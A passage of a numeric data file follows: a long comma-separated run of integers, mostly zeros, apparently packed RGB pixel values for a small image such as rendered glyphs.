,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3815936,0,0,0,0,0,0,0,14906,3815994,0,0,0,0,0,0,0,58,6731483,14408667,14399120,6699520,0,3838171,16777179,9452032,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,58,9493503,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3815994,0,0,0,0,0,0,0,58,3815994,3801088,0,0,0,0,0,0,0,14906,6710842,3801088,0,58,3827302,3815936,0,0,0,0,58,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3815936,0,0,0,0,0,0,0,14906,3815994,0,0,0,0,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731483,14408667,14399120,6699520,0,3838171,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,6710886,6699520,0,0,3827344,11974288,6699520,0,0,0,0,58,3801088,0,0,0,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3815936,0,0,0,0,0,0,0,14906,3815994,0,0,0,0,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,0,0,0,0,14906,3815994,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16767926,6684672,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,11953664,0,0,0,0,0,0,3827382,16777215,16777215,16767888,3801088,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16767963,16777215,16777179,9452032,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,14389306,0,0,0,0,0,26294,16777179,11953664,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,14389306,0,0,0,0,0,0,14950,11993087,16777215,16777179,9452032,0,0,0,0,0,102,11993087,16777215,16758374,0,6731519,16777215,16767888,3801088,0,0,0,58,9493503,16777215,16767926,6684672,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,11953664,0,0,0,0,0,0,3827382,16777215,16777215,16767888,3801088,0,0,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16767963,16777215,16777179,9452032,0,0,0,14950,11993087,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777215,14399078,0,0,0,0,0,0,26294,16777215,16777215,16777215,16767963,11964518,9484031,16777179,9452032,0,0,0,14992,14417919,16777179,9452032,102,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16767926,6684672,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,11953664,0,0,0,0,0,0,3827382,16777215,16777215,16767888,3801088,0,0,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,14389306,0,0,0,0,0,0,0,0,3838171,16777215,16777179,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,